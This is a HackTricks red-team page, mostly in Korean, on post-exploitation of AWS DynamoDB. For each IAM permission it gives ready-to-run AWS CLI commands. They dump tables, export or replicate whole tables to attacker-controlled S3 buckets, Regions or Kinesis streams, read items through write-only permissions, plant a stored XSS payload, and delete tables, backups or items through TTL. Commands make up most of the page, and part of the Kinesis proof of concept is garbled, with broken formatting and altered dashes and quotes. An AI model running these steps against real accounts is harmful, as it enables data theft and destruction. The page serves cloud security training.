AWS - DynamoDB Post Exploitation

Tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

DynamoDB

자세한 내용은 다음을 확인하세요:

AWS - DynamoDB Enum

dynamodb:BatchGetItem

이 권한을 가진 attacker는 get items from tables by the primary key 할 수 있습니다 (테이블의 모든 데이터를 한꺼번에 요청할 수는 없습니다). 즉, primary keys를 알고 있어야 합니다(이를 얻으려면 table metadata를 가져오면 됩니다 (describe-table)).

aws dynamodb batch-get-item --request-items file:///tmp/a.json

// With a.json
{
"ProductCatalog" : { // This is the table name
"Keys": [
{
"Id" : { // Primary keys name
"N": "205" // Value to search for, you could put here entries from 1 to 1000 to dump all those
}
}
]
}
}

Potential Impact: 간접적인 privesc — 테이블에서 민감한 정보를 찾아 권한 상승으로 이어질 수 있음

dynamodb:GetItem

Similar to the previous permissions 이 권한은 공격자가 조회할 항목의 기본 키를 알고 있으면 단 한 개의 테이블에서 값을 읽을 수 있게 해준다:

aws dynamodb get-item --table-name ProductCatalog --key  file:///tmp/a.json

// With a.json
{
"Id" : {
"N": "205"
}
}

이 권한이 있으면 transact-get-items 메서드를 다음과 같이 사용할 수도 있습니다:

aws dynamodb transact-get-items \
--transact-items file:///tmp/a.json

// With a.json
[
{
"Get": {
"Key": {
"Id": {"N": "205"}
},
"TableName": "ProductCatalog"
}
}
]

Potential Impact: 테이블에서 민감한 정보를 찾아 간접적인 privesc

dynamodb:Query

이전 권한과 유사하게 이 권한은 잠재적 공격자가 가져올 항목의 primary key를 알고 있을 경우 단 하나의 테이블에서 값들을 읽을 수 있게 해준다. 일부 비교(subset of comparisons)를 사용할 수 있지만, 반드시 포함되어야 하는 primary key에 대해 허용되는 비교는 “EQ“뿐이므로 단일 요청으로 데이터베이스 전체를 가져오기 위해 비교 연산을 사용할 수 없다.

aws dynamodb query --table-name ProductCatalog --key-conditions file:///tmp/a.json

// With a.json
{
"Id" : {
"ComparisonOperator":"EQ",
"AttributeValueList": [ {"N": "205"} ]
}
}

잠재적 영향: 테이블에서 민감한 정보를 찾아 간접적인 privesc

dynamodb:Scan

이 권한을 사용하면 테이블 전체를 쉽게 dump할 수 있습니다.

aws dynamodb scan --table-name <t_name> #Get data inside the table

잠재적 영향: 간접 privesc — 테이블에서 민감한 정보를 찾아 권한 상승을 유도할 수 있음

dynamodb:PartiQLSelect

이 권한을 사용하면 테이블 전체를 쉽게 dump할 수 있습니다.

aws dynamodb execute-statement \
--statement "SELECT * FROM ProductCatalog"

이 권한은 또한 다음과 같이 batch-execute-statement를 수행할 수 있습니다:

aws dynamodb batch-execute-statement \
--statements '[{"Statement": "SELECT * FROM ProductCatalog WHERE Id = 204"}]'

그러나 기본 키에 값을 지정해야 하기 때문에 그다지 유용하지 않습니다.

잠재적 영향: Indirect privesc — 테이블에서 민감한 정보를 찾아 권한 상승으로 이어질 수 있음

dynamodb:ExportTableToPointInTime|(dynamodb:UpdateContinuousBackups)

이 권한은 공격자가 전체 테이블을 자신의 선택한 S3 버킷으로 내보낼 수 있도록 허용합니다:

aws dynamodb export-table-to-point-in-time \
--table-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable \
--s3-bucket <attacker_s3_bucket> \
--s3-prefix <optional_prefix> \
--export-time <point_in_time> \
--region <region>

이 작업을 수행하려면 테이블에 point-in-time-recovery가 활성화되어 있어야 합니다. 테이블에 해당 기능이 활성화되어 있는지 확인하려면 다음을 사용하세요:

aws dynamodb describe-continuous-backups \
--table-name <tablename>

활성화되어 있지 않다면 활성화해야 하며, 이를 위해서는 dynamodb:ExportTableToPointInTime 권한이 필요합니다:

aws dynamodb update-continuous-backups \
--table-name <value> \
--point-in-time-recovery-specification PointInTimeRecoveryEnabled=true

Potential Impact: 테이블에서 민감한 정보를 찾아 Indirect privesc 발생 가능

dynamodb:CreateTable, dynamodb:RestoreTableFromBackup, (dynamodb:CreateBackup)

이 권한들이 있으면 공격자는 백업에서 새 테이블을 생성할 수 있습니다 (또는 다른 테이블에 복원하기 위해 백업을 생성할 수도 있습니다). 그런 다음 필요한 권한을 갖추면, 공격자는 백업에서 정보를 확인할 수 있으며, 이는 프로덕션 테이블에 더 이상 존재하지 않을 수 있는 정보일 수 있습니다.

aws dynamodb restore-table-from-backup \
--backup-arn <source-backup-arn> \
--target-table-name <new-table-name> \
--region <region>

잠재적 영향: 테이블 백업에서 민감한 정보를 찾아 간접 privesc가 발생할 수 있음

dynamodb:PutItem

이 권한은 사용자가 테이블에 새 항목을 추가하거나 기존 항목을 새 항목으로 대체할 수 있게 허용합니다. 동일한 기본 키를 가진 항목이 이미 존재하면, 전체 항목이 새 항목으로 대체됩니다. 기본 키가 존재하지 않으면, 지정된 기본 키를 가진 새 항목이 생성됩니다.

## Create new item with XSS payload
aws dynamodb put-item --table <table_name> --item file://add.json
### With add.json:
{
"Id": {
"S": "1000"
},
"Name": {
"S":  "Marc"
},
"Description": {
"S": "<script>alert(1)</script>"
}
}

Potential Impact: DynamoDB 테이블에 데이터를 추가/수정할 수 있게 되어 추가적인 취약점/우회가 악용될 수 있음

dynamodb:UpdateItem

이 권한은 사용자에게 항목의 기존 속성을 수정하거나 항목에 새로운 속성을 추가할 수 있도록 허용합니다. 이 작업은 항목 전체를 교체하지 않으며, 지정된 속성만 업데이트합니다. 테이블에 기본 키가 존재하지 않으면, 해당 기본 키로 새 항목을 생성하고 업데이트 표현식에 지정된 속성들을 설정합니다.

## Update item with XSS payload
aws dynamodb update-item --table <table_name> \
--key file://key.json --update-expression "SET Description = :value" \
--expression-attribute-values file://val.json
### With key.json:
{
"Id": {
"S": "1000"
}
}
### and val.json
{
":value": {
"S": "<script>alert(1)</script>"
}
}

잠재적 영향: DynamoDB 테이블에 데이터를 추가/수정할 수 있게 되어 추가적인 vulnerabilities/bypasses가 악용될 수 있음

dynamodb:DeleteTable

이 권한을 가진 공격자는 DynamoDB 테이블을 삭제하여 데이터 손실을 초래할 수 있습니다.

aws dynamodb delete-table \
--table-name TargetTable \
--region <region>

잠재적 영향: 삭제된 테이블에 의존하는 서비스의 데이터 손실 및 중단.

dynamodb:DeleteBackup

이 권한을 가진 attacker는 delete a DynamoDB backup, 재해 복구 시나리오에서 잠재적으로 데이터 손실을 초래할 수 있습니다.

aws dynamodb delete-backup \
--backup-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable/backup/BACKUP_ID \
--region <region>

잠재적 영향: 재해 복구 시나리오에서 백업으로부터 복구할 수 없게 되어 데이터 손실.

dynamodb:StreamSpecification, dynamodb:UpdateTable, dynamodb:DescribeStream, dynamodb:GetShardIterator, dynamodb:GetRecords

Note

TODO: 실제로 작동하는지 테스트 필요

이 권한을 가진 공격자는 DynamoDB 테이블에서 stream을 활성화하고, 테이블을 업데이트해 변경사항 스트리밍을 시작한 뒤, stream에 접근해 테이블 변경사항을 실시간으로 모니터링할 수 있습니다. 이를 통해 공격자는 데이터 변경사항을 모니터링하고 exfiltrate할 수 있으며, 이는 잠재적으로 데이터 누출로 이어질 수 있습니다.

  1. DynamoDB 테이블에서 stream을 활성화:
aws dynamodb update-table \
--table-name TargetTable \
--stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES \
--region <region>
  1. ARN 및 기타 세부 정보를 얻기 위한 스트림을 설명하세요:
aws dynamodb describe-stream \
--table-name TargetTable \
--region <region>
  1. stream ARN을 사용하여 shard iterator를 가져옵니다:
aws dynamodbstreams get-shard-iterator \
--stream-arn <stream_arn> \
--shard-id <shard_id> \
--shard-iterator-type LATEST \
--region <region>
  1. shard iterator를 사용하여 stream에서 데이터를 접근하고 exfiltrate합니다:
aws dynamodbstreams get-records \
--shard-iterator <shard_iterator> \
--region <region>

잠재적 영향: DynamoDB 테이블 변경의 실시간 모니터링 및 데이터 유출.

dynamodb:UpdateItemReturnValues=ALL_OLD를 통한 항목 읽기

테이블에 대해 dynamodb:UpdateItem 권한만 있는 공격자는 무해한 업데이트를 수행하고 --return-values ALL_OLD를 요청함으로써 일반적인 읽기 권한(GetItem/Query/Scan) 없이 항목을 읽을 수 있습니다. DynamoDB는 응답의 Attributes 필드에 항목의 업데이트 전 전체 이미지를 반환합니다(이 작업은 RCUs를 소비하지 않습니다).

  • 최소 권한: 대상 테이블/키에 대한 dynamodb:UpdateItem.
  • 전제 조건: 항목의 기본 키를 알고 있어야 합니다.

Example (adds a harmless attribute and exfiltrates the previous item in the response):

aws dynamodb update-item \
--table-name <TargetTable> \
--key '{"<PKName>":{"S":"<PKValue>"}}' \
--update-expression 'SET #m = :v' \
--expression-attribute-names '{"#m":"exfil_marker"}' \
--expression-attribute-values '{":v":{"S":"1"}}' \
--return-values ALL_OLD \
--region <region>

CLI 응답에는 전체 이전 항목(모든 속성)을 포함하는 Attributes 블록이 포함되어, 쓰기 전용 접근에서 사실상 읽기 프리미티브를 제공합니다.

잠재적 영향: 쓰기 권한만으로 테이블에서 임의의 항목을 읽을 수 있어, primary keys(기본 키)를 알 경우 민감한 데이터 exfiltration이 가능해집니다.

dynamodb:UpdateTable (replica-updates) | dynamodb:CreateTableReplica

DynamoDB Global Table (version 2019.11.21)에 새로운 replica Region을 추가하여 은밀한 exfiltration을 수행할 수 있습니다. 주체(principal)가 regional replica를 추가할 수 있다면, 테이블 전체가 공격자가 선택한 Region으로 복제되며 공격자는 해당 Region에서 모든 항목을 읽을 수 있습니다.

# Add a new replica Region (from primary Region)
aws dynamodb update-table \
--table-name <TableName> \
--replica-updates '[{"Create": {"RegionName": "<replica-region>"}}]' \
--region <primary-region>

# Wait until the replica table becomes ACTIVE in the replica Region
aws dynamodb describe-table --table-name <TableName> --region <replica-region> --query 'Table.TableStatus'

# Exfiltrate by reading from the replica Region
aws dynamodb scan --table-name <TableName> --region <replica-region>

권한: dynamodb:UpdateTable (with replica-updates) 또는 대상 테이블에 대한 dynamodb:CreateTableReplica. 복제본에서 CMK를 사용하는 경우 해당 키에 대한 KMS 권한이 필요할 수 있습니다.

잠재적 영향: 공격자 제어 Region으로의 전체 테이블 복제로 인해 은밀한 데이터 exfiltration로 이어질 수 있습니다.

dynamodb:TransactWriteItems (조건 실패를 통한 읽기 + ReturnValuesOnConditionCheckFailure=ALL_OLD)

트랜잭션 쓰기 권한을 가진 공격자는 TransactWriteItems 내부에서 Update를 수행하되 의도적으로 ConditionExpression을 실패시키고 ReturnValuesOnConditionCheckFailure=ALL_OLD를 설정함으로써 기존 항목의 전체 속성을 exfiltrate할 수 있습니다. 실패 시, DynamoDB는 이전 속성을 트랜잭션 취소 이유에 포함시키며, 이는 대상 키에 대한 쓰기 전용 접근을 사실상 읽기 접근으로 전환합니다.

# Create the transaction input (list form for --transact-items)
cat > /tmp/tx_items.json << 'JSON'
[
{
"Update": {
"TableName": "<TableName>",
"Key": {"<PKName>": {"S": "<PKValue>"}},
"UpdateExpression": "SET #m = :v",
"ExpressionAttributeNames": {"#m": "marker"},
"ExpressionAttributeValues": {":v": {"S": "x"}},
"ConditionExpression": "attribute_not_exists(<PKName>)",
"ReturnValuesOnConditionCheckFailure": "ALL_OLD"
}
}
]
JSON

# Execute. Newer AWS CLI versions support returning cancellation reasons
aws dynamodb transact-write-items \
--transact-items file:///tmp/tx_items.json \
--region <region> \
--return-cancellation-reasons
# The command fails with TransactionCanceledException; parse cancellationReasons[0].Item

권한: dynamodb:TransactWriteItems on the target table (and the underlying item). 읽기 권한은 필요하지 않습니다.

잠재적 영향: 반환된 cancellation reasons를 통해 트랜잭션 쓰기 권한만으로 테이블에서 기본 키로 임의의 항목을 읽을 수 있습니다.

dynamodb:UpdateTable + dynamodb:UpdateItem + dynamodb:Query on GSI

낮은 엔트로피 속성에 ProjectionType=ALL인 Global Secondary Index (GSI)를 생성하고, 해당 속성의 값을 모든 항목에 대해 상수로 설정한 다음 인덱스를 Query하여 전체 항목을 가져오면 읽기 제한을 우회할 수 있습니다. 기본 테이블에 대해 Query/Scan이 거부되더라도 인덱스 ARN을 쿼리할 수 있으면 이 방법은 작동합니다.

  • 최소 권한:
  • dynamodb:UpdateTable on the target table (GSI를 ProjectionType=ALL로 생성하기 위해).
  • dynamodb:UpdateItem on the target table keys (각 항목에 인덱싱된 속성을 설정하기 위해).
  • dynamodb:Query on the index resource ARN (arn:aws:dynamodb:<region>:<account-id>:table/<TableName>/index/<IndexName>).

단계 (PoC in us-east-1):

# 1) Create table and seed items (without the future GSI attribute)
aws dynamodb create-table --table-name HTXIdx \
--attribute-definitions AttributeName=id,AttributeType=S \
--key-schema AttributeName=id,KeyType=HASH \
--billing-mode PAY_PER_REQUEST --region us-east-1
aws dynamodb wait table-exists --table-name HTXIdx --region us-east-1
for i in 1 2 3 4 5; do \
aws dynamodb put-item --table-name HTXIdx \
--item "{\"id\":{\"S\":\"$i\"},\"secret\":{\"S\":\"sec-$i\"}}" \
--region us-east-1; done

# 2) Add GSI on attribute X with ProjectionType=ALL
aws dynamodb update-table --table-name HTXIdx \
--attribute-definitions AttributeName=X,AttributeType=S \
--global-secondary-index-updates '[{"Create":{"IndexName":"ExfilIndex","KeySchema":[{"AttributeName":"X","KeyType":"HASH"}],"Projection":{"ProjectionType":"ALL"}}}]' \
--region us-east-1
# Wait for index to become ACTIVE
aws dynamodb describe-table --table-name HTXIdx --region us-east-1 \
--query 'Table.GlobalSecondaryIndexes[?IndexName==`ExfilIndex`].IndexStatus'

# 3) Set X="dump" for each item (only UpdateItem on known keys)
for i in 1 2 3 4 5; do \
aws dynamodb update-item --table-name HTXIdx \
--key "{\"id\":{\"S\":\"$i\"}}" \
--update-expression 'SET #x = :v' \
--expression-attribute-names '{"#x":"X"}' \
--expression-attribute-values '{":v":{"S":"dump"}}' \
--region us-east-1; done

# 4) Query the index by the constant value to retrieve full items
aws dynamodb query --table-name HTXIdx --index-name ExfilIndex \
--key-condition-expression '#x = :v' \
--expression-attribute-names '{"#x":"X"}' \
--expression-attribute-values '{":v":{"S":"dump"}}' \
--region us-east-1

Potential Impact: 기본 테이블의 읽기 API가 거부된 경우에도, 모든 속성을 투영하는 새로 생성된 GSI를 쿼리하여 전체 테이블 데이터를 유출할 수 있음.

dynamodb:EnableKinesisStreamingDestination (Kinesis Data Streams를 통한 지속적 데이터 유출)

DynamoDB Kinesis streaming destinations를 악용하여 테이블의 변경사항을 공격자가 제어하는 Kinesis Data Stream으로 지속적으로 유출할 수 있음. 일단 활성화되면, 모든 INSERT/MODIFY/REMOVE 이벤트가 테이블의 읽기 권한 없이 거의 실시간으로 스트림으로 전달됨.

Minimum permissions (attacker):

  • dynamodb:EnableKinesisStreamingDestination on the target table
  • Optionally dynamodb:DescribeKinesisStreamingDestination/dynamodb:DescribeTable to monitor status
  • Read permissions on the attacker-owned Kinesis stream to consume records: kinesis:*
PoC (us-east-1) ```bash # 1) Prepare: create a table and seed one item aws dynamodb create-table --table-name HTXKStream \ --attribute-definitions AttributeName=id,AttributeType=S \ --key-schema AttributeName=id,KeyType=HASH \ --billing-mode PAY_PER_REQUEST --region us-east-1 aws dynamodb wait table-exists --table-name HTXKStream --region us-east-1 aws dynamodb put-item --table-name HTXKStream \ --item file:///tmp/htx_item1.json --region us-east-1 # /tmp/htx_item1.json # {"id":{"S":"a1"},"secret":{"S":"s-1"}}

2) Create attacker Kinesis Data Stream

aws kinesis create-stream –stream-name htx-ddb-exfil –shard-count 1 –region us-east-1 aws kinesis wait stream-exists –stream-name htx-ddb-exfil –region us-east-1

3) Enable the DynamoDB -> Kinesis streaming destination

STREAM_ARN=$(aws kinesis describe-stream-summary –stream-name htx-ddb-exfil
–region us-east-1 –query StreamDescriptionSummary.StreamARN –output text) aws dynamodb enable-kinesis-streaming-destination
–table-name HTXKStream –stream-arn “$STREAM_ARN” –region us-east-1

Optionally wait until ACTIVE

aws dynamodb describe-kinesis-streaming-destination –table-name HTXKStream
–region us-east-1 –query KinesisDataStreamDestinations[0].DestinationStatus

4) Generate changes on the table

aws dynamodb put-item –table-name HTXKStream
–item file:///tmp/htx_item2.json –region us-east-1

/tmp/htx_item2.json

{“id”:{“S”:“a2”},“secret”:{“S”:“s-2”}}

aws dynamodb update-item –table-name HTXKStream
–key file:///tmp/htx_key_a1.json
–update-expression “SET #i = :v”
–expression-attribute-names {#i:info}
–expression-attribute-values {:v:{S:updated}}
–region us-east-1

/tmp/htx_key_a1.json -> {“id”:{“S”:“a1”}}

5) Consume from Kinesis to observe DynamoDB images

SHARD=$(aws kinesis list-shards –stream-name htx-ddb-exfil –region us-east-1
–query Shards[0].ShardId –output text) IT=$(aws kinesis get-shard-iterator –stream-name htx-ddb-exfil –shard-id “$SHARD”
–shard-iterator-type TRIM_HORIZON –region us-east-1 –query ShardIterator –output text) aws kinesis get-records –shard-iterator “$IT” –limit 10 –region us-east-1 > /tmp/krec.json

Decode one record (Data is base64-encoded)

jq -r .Records[0].Data /tmp/krec.json | base64 –decode | jq .

6) Cleanup (recommended)

aws dynamodb disable-kinesis-streaming-destination
–table-name HTXKStream –stream-arn “$STREAM_ARN” –region us-east-1 || true aws kinesis delete-stream –stream-name htx-ddb-exfil –enforce-consumer-deletion –region us-east-1 || true aws dynamodb delete-table –table-name HTXKStream –region us-east-1 || true

### `dynamodb:UpdateTimeToLive`

dynamodb:UpdateTimeToLive 권한을 가진 공격자는 테이블의 TTL (time-to-live) 구성을 변경할 수 있습니다 — TTL을 활성화하거나 비활성화할 수 있습니다. TTL이 활성화되면, 설정한 TTL 속성을 포함한 개별 항목은 만료 시간이 되면 자동으로 삭제됩니다. TTL 값은 각 항목의 또 다른 속성일 뿐이며, 해당 속성이 없는 항목은 TTL 기반 삭제의 영향을 받지 않습니다.

항목에 이미 TTL 속성이 없는 경우, 공격자는 TTL 속성을 추가하고 대량 삭제를 유발하기 위해 항목을 업데이트할 수 있는 권한(예: dynamodb:UpdateItem)이 추가로 필요합니다.

우선 테이블에서 TTL을 활성화하고 만료에 사용할 속성 이름을 지정합니다:
```bash
aws dynamodb update-time-to-live \
--table-name <TABLE_NAME> \
--time-to-live-specification "Enabled=true, AttributeName=<TTL_ATTRIBUTE_NAME>"

그런 다음 항목을 업데이트하여 TTL attribute (epoch seconds)를 추가하여 만료되어 제거되도록 합니다:

aws dynamodb update-item \
--table-name <TABLE_NAME> \
--key '<PRIMARY_KEY_JSON>' \
--update-expression "SET <TTL_ATTRIBUTE_NAME> = :t" \
--expression-attribute-values '{":t":{"N":"<EPOCH_SECONDS_VALUE>"}}'

dynamodb:RestoreTableFromAwsBackup & dynamodb:RestoreTableToPointInTime

dynamodb:RestoreTableFromAwsBackup 또는 dynamodb:RestoreTableToPointInTime 권한을 가진 공격자는 원본 테이블을 덮어쓰지 않고 백업이나 point-in-time recovery (PITR)에서 복원된 새 테이블을 생성할 수 있습니다. 복원된 테이블은 선택한 시점의 데이터 전체 이미지를 포함하므로, 공격자는 이를 사용해 과거 정보를 exfiltrate하거나 데이터베이스의 과거 상태 전체 덤프를 얻을 수 있습니다.

Restore a DynamoDB table from an on-demand backup:

aws dynamodb restore-table-from-backup \
--target-table-name <NEW_TABLE_NAME> \
--backup-arn <BACKUP_ARN>

DynamoDB 테이블을 특정 시점으로 복원(복원된 상태로 새 테이블 생성):

aws dynamodb restore-table-to-point-in-time \
--source-table-name <SOURCE_TABLE_NAME> \
--target-table-name <NEW_TABLE_NAME> \
--use-latest-restorable-time

잠재적 영향: 테이블에 대한 직접적인 읽기 작업 없이 지속적이고 거의 실시간으로 테이블 변경사항을 attacker-controlled Kinesis stream으로 exfiltration.

Tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기